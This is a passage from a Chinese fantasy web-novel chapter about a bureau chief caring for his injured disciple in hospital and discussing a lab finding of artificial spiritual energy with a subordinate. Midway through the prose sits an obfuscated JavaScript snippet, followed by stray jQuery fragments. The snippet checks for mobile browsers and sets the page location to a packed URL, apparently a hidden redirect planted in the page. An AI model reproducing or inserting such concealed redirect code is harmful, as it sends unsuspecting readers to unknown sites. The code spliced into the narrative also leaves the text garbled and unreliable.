嘀,嘀,嘀……
邬焚玉从梦中醒来,规律而平稳的仪器声响将他拉回现实。
他睁开眼,有片刻的恍惚,花了数秒,才意识到自己身在何处。
天才蒙蒙亮,青灰色的微光透过窗帘缝隙渗入,房内是一片昏沉的静谧。
邬焚玉起身,调亮了床头灯,柔和的光晕打在祁招溟那张依旧闭目沉眠的脸上,额前新长出的零碎白色短发,在灯光下反射着细碎如星尘般的光点。
邬焚玉默默看了一会儿,把他扎着留置针管的手塞回被子底下,又将被子边缘向上拉了拉。
距离第一次筋骨手术已经过去一个半月。在此期间,又接连做了几场修复固定的大手术,过程有惊无险。祁招溟的仙体对外来是医疗干预展现出超乎预期的接纳度,所有错位折断粉碎乃至畸形的筋络和骨头,都被一一修正复位,用特殊材料的钢板进行了固定,侵蚀他多年的浊气与深扎进穴位的镇魂针也已经被彻底拔除。
祁招溟一头雪柳发在头回大手术时就被剃了个干净,邬焚玉一见那锃得发亮的脑壳,没忍住当场笑了出来。
不是冷笑,不是嘲笑,是真心实意被逗笑了。
骇得董希仙手一抖,差点丢了不知道第几根从护士站那顺来的笔,摸上邬焚玉的额头问他仙体可还安好。
仙体安不安好不清楚,邬焚玉的心情倒是肉眼可见地好多了。
每三日的例行检查都显示,祁招溟的灵智和魂体正在往好的方向发展。虽然他仍未完全脱离危险期,但状态已逐步趋于稳定。
等到第二十多天,随晴在病房中日常护理,邬焚玉在玻璃外观望许久,过了一会走进来问随晴,日常护理需要做什么。
那时已经允许进ICU探视,董希仙早就吩咐下去,邬焚玉问什么就答什么,别质疑也别反问,他要做什么就由他做。
于是,为祁招溟擦脸擦身、更换病服、更换贴敷护魂符等事宜几乎全被邬焚玉一手包办。
穆攸明某次前来,不偏不倚撞见邬焚玉在用洁净的热毛巾擦拭祁招溟的额头,调侃不想当护工的局长不是好天尊。
喜提未来二十年无薪加班大礼包。
唯有邬焚玉人实在不得空,需要借助传送阵回总部时,才由随晴接手代为照看。
邬焚玉这长假不能彻底安生,他以往除却八月十二固定一天,基本全年无休,这回破天荒的长假在局内引起了一阵不小的波动。
他曾一手提拔的副将们发来消息问候,邬焚玉对外口径一致,被穆攸明气吐血了,正在医院药疗。没人觉得哪里不对,都在说让邬焚玉休息休息也好。
近来无大事,总部有擒岳元君牧屿坐镇,无需他费心,若有他裁决或审核的文件,通过雁书传送给他就行。
期间只有一桩事,需要他亲自回总部应对——柊君。
巡天监委员会对特勤科此次濯水村行动的报告及后续处理表示不满,认为执行手段过于强横,且未能有效保护现场,导致关键证据链缺失,邬焚玉作为局长难辞其咎,监委会也对灵度局专业能力提出质疑。
过去一个月里,监委会成立了专门的申城小组,以视察监督名义来访多次。邬焚玉去总部应付他们期间,就由穆攸明替他到医院守班。
邬焚玉一个月长假见底,祁招溟最后一场筋骨手术刚刚结束,接下来将进行一段时间的观察期,待魂体稳固,便可以启动外灵注入的程序了,无法确定具体时间,邬焚玉索性又将假期延长一月。
昨日,董希仙看过检查单,告诉邬焚玉,可以开始进行下一步了。
桐城的九月底依旧热得要命,病房内的空调开得很足。邬焚玉把空调的风调低了些,稍微掀开被子,用两指探祁招溟捆满绷带的手臂。
只有很少量的灵力,在体内艰难地流动,这些许力量,仅仅能维系这具仙体不败魂体不散。
邬焚玉看了眼时间,早上六点半。
再过两个小时,外灵将会导入进祁招溟的内府和经脉,和微弱的灵力融汇在一起,流经四肢百骸。
那将变成他新的河流。
这个时候,连手机系统的自动推送都还没上班。邬焚玉空荡荡的默认屏保上弹出一条消息。
穆攸明:【猜猜我在哪?】
他关上床头灯,起身走向门边,动作极轻地拉开门。
穆攸明一手怀抱大束开得正盛的淡粉色康乃馨,另一只手提着两袋新鲜水果,笑脸盈盈道:“嗨~”
邬焚玉拿过水果,从门里走出来,看也不看穆攸明和他怀里的花,径直略过他,转身就进了左边另一间空病房,啪的一声把门关上,没让穆攸明进来。
“天尊,你这人怎么这样,拿了就跑?”穆攸明十分自觉地不请自入。合门时,手掌在门板轻轻一拍,水波荡开,隔音的结界顿时包裹了整个室内。
祁招溟两侧的屋子都是空的,邬焚玉占据左边那间,简单布置成了临时办公和休息区,里面没有办公桌,只有折叠床和床上桌以及几张凳子。
他把东西搁到唯一的小桌上,撩开塑料袋看了一眼,几大颗青翠的芭乐果和一大串熟透泛着深红色的荔枝,都是桐城的应季水果。
“还有这个,慰问您的,庆祝您在坚持了两千年后终于被关门弟子气吐血了。”
穆攸明把花束搁在水果旁边,顺手摸了个芭乐出来,蹦蹦跳跳地一屁股坐到折叠床上,当即就被床板的硬度硌了一下,龇牙咧嘴,青果差点脱手飞出去。
邬焚玉抱臂站在一旁,问道:“调查得怎么样?”
穆攸明一边嚼嚼嚼一边道:“还能,怎么样,又没线索,那个影生匠,太会藏了,霍童溪、濯水村,联合桐城分局,一部分人力,能查的地方都查了,一直在,兜圈子,我估计,人家,早就不在桐城了。”
在邬焚玉发飙前一秒,他终于消灭了那颗粉绿琢翠的芭乐,喟叹一声:“好甜,你吃不吃?”他还打算再去袋子里拿一个,邬焚玉抢先一步,提起那两整袋水果,抡着圈往远的扔。
“没进展?你专程跑来吃早餐了?”
“哎,谁说的,我可没说。”穆攸明见好就收,拧了下灵镯。
微光闪过,一支细长的玻璃试管伴随灵力的涟漪,凭空显形,悬浮于两人之间。
试管内装着微量的黑色不明液体,堪堪盖过试管半球形的底部。穆攸明捏着试管上端,将其拿到眼前,轻轻晃动了一下。
“从柊君体内提取出来的,猜猜是什么?”
邬焚玉的耐心和这管液体存量一样,濒临告罄,冷言冷语道:“你吐里了?”
“错,”穆攸明抬起一根食指摆了摆,“是灵力,和影生匠现场残留的灵力构成大致相同。”
邬焚玉接过试管凝神细看:“大致?”
“存在相同的部分,包含了两种截然不同的灵力属向,技术部从差异处发现了嵌合拼接的痕迹。”穆攸明一脸神秘莫测,“没想到吧,这是人造灵。”
人类发展越快,世间积攒的怨气便日益深重,天地产生的灵力越少,可供修炼的福地洞天大多被浊气侵蚀殆尽,散修之路几乎断绝,如今的修士大多依靠师门前辈的代代灵力传承方能入门。而上一位成功飞升成仙的,还是八百年前的丰山张临畔,如今在灵度局情报部担任总部长。
正因修行之路如此艰难,近些年来,三界各大论坛中,关于造灵的讨论愈发甚嚣尘上。
修行本质乃是吸收天地自然诞生的灵力,转化为自身修为,追求心神合一的至高境界。
可现在这么多人,三界这么多修士,灵力却稀薄得可怜,就有人提出了一个疯狂的设想:能否不依赖天地恩赐,仅凭某种特制法器,凭空创造出足以支撑修炼的灵力?
当今法器虽历经革新,但仍是依靠修士自身灵力驱动或储存。论坛上的讨论大多停留在理论猜想,付诸实践者寥寥,且基本都以失败甚至反噬告终。凭空造灵,听起来如同天方夜谭。
而这个天方夜谭,此刻正以实质的形态,呈现在邬焚玉手中试管内。
“这个年代,真是可怕。”穆攸明啧啧几声,“千年前,这种东西应该叫……邪魔外道,放到现在,居然已经不算什么了。”
邬焚玉眉间轻蹙,轻轻绕圈摇晃试管,观察液体的挂壁情况:“有没有排除怨气异变的可能?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506971|186114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“当然了,我身为严谨专业负责的特勤科领头人,怎么会出现这种低级纰漏?局长,你这跟做皇帝似的疑心病真该改改。”
穆攸明大言不惭地自夸,顺带拉踩了一番顶头上司兼师尊,溜远了捡回落在角落里的水果。
他刚想拿芭乐,邬焚玉一记冷眼,悻悻换成荔枝剥了起来。
“我知道你想问什么,我们一直想彻查一遍柊君,有巡天监盯着,没法下手,他一直被关押在总部锢狱所里。这两周巡天监消停了点,没来找茬。我们才有机会下手,不对,是行动。然后就从他还没愈合的裂骨里面发现了些许残留,柊君一直试图修复脊骨,沉积了很多怨气,反而把外来的造灵挤压在了最里面,没法自行散去。”
邬焚玉问:“技术部那边,还有其他结论吗?”
一颗颗晶莹剔透的荔枝果肉从粗糙的红壳中绽出,眨眼进了穆攸明的肚子。他吃得飞快,把里面的核咬得嘎吱嘎吱响。
他不甚清晰道:“也没什么,大概就是说,这种造灵技术很粗糙,看起来还只是初始的半成品,而且也不是真正的无中生有。相同的部分来自某位不知名人士提供的原本,差异处则是由不同几人提供的,说是造灵,其实就是把灵力融合在一起而已。”
邬焚玉垂眉沉思:“……是实验。”
如果均台那名被操控的看守体内也被植入了类似的造灵,那么柊君或许也同样是被某种力量牵引着,才“逃”向了濯水村。
他本就神志癫狂,根本无法分辨自己的行为是出于本能,还是早已沦为他人掌中的提线玩偶。
就像皮影一样。
任何新事物的创造与应用,都必然伴随着无数次的试错。
这种粗制滥造的半成品被想方设法施加到柊君身上,邬焚玉能想到的唯一合理解释只有一个,有人利用他进行实验。
这么小一会功夫,穆攸明已经把荔枝吃得精光光,就剩一袋子空荡荡的荔枝壳。他意犹未尽地舔了舔嘴角,胳膊肘支搁在小桌上,托腮抬眼看邬焚玉:“怎么办啊,局长?有人要搞事了。”
“先庆幸这消息还没被外泄吧,”邬焚玉把试管丢还给他,“让技术部继续研究,分析原本的来源,你和灌鹰组继续监视均台,濯水村那边,交由桐城分局持续关注,保持低调。之后,影生匠一定还会有所动作,就看是我们先找到他们,还是他们自己送上门来。”
手机七点的闹铃准时响起,邬焚玉眼疾手快,把剩的那袋水果攥到了手里,及时阻止了穆攸明意图染指的毒手。
“我一会儿很忙,别悠悠乎乎了。”邬焚玉漠然道,“那件事办得怎么样了?”
“哎,急于求成,可是大忌。”穆攸明嘟嘟囔囔着,却还是点开镯器光屏,放大。屏幕上,一张由无数条光丝构成的动态图表飞速流动,交织出眼花缭乱的轨迹。
“桐城分局局长林绯,总部副局牧屿,总部技术部总监燕纺,还有榕城,仙游几个地方的分局,近一百年的行动轨迹图。”
穆攸明指尖轻点,将几条尤为重要的线路高亮显示。
邬焚玉审视着那些线轨在光屏上飞掠,沉声道:“王母镯监测动态如何?”
“没有异样,牧局前段时间去的北地高原,碰巧遇上当地牦牛妖群不服管,她一人就把整个妖群打趴下了,里头的牛王还被她收编,成了秘书兼司机。”
邬焚玉嗯了一声:“还不能排除嫌疑,接着扩大范围查。”
穆攸明脸上挂着笑:“真没想到啊,局长,查人先从自己人查起,想想还挺……恶心的。”
“你自己选择参与,就不要多嘴。”邬焚玉朝门口走去,一挥手,解开了隔音结界。
穆攸明收起光屏,万分夸张地抹了抹泪:“行,明白,我懂,我都懂,身为天尊大帝座下臣子,自然要鞠躬尽瘁死而后已当牛做马,臣,万死,不悔。”
邬焚玉把芭乐丢到他脑袋上,嗤道:“脸皮真厚。”
他拉开房门,门外正好有人路过。
那是一个同样穿着岐黄医院白大褂的男人,气质温和。
他一眼瞧见邬焚玉,脸上露出惊喜的表情:“谛灭?你在这啊。”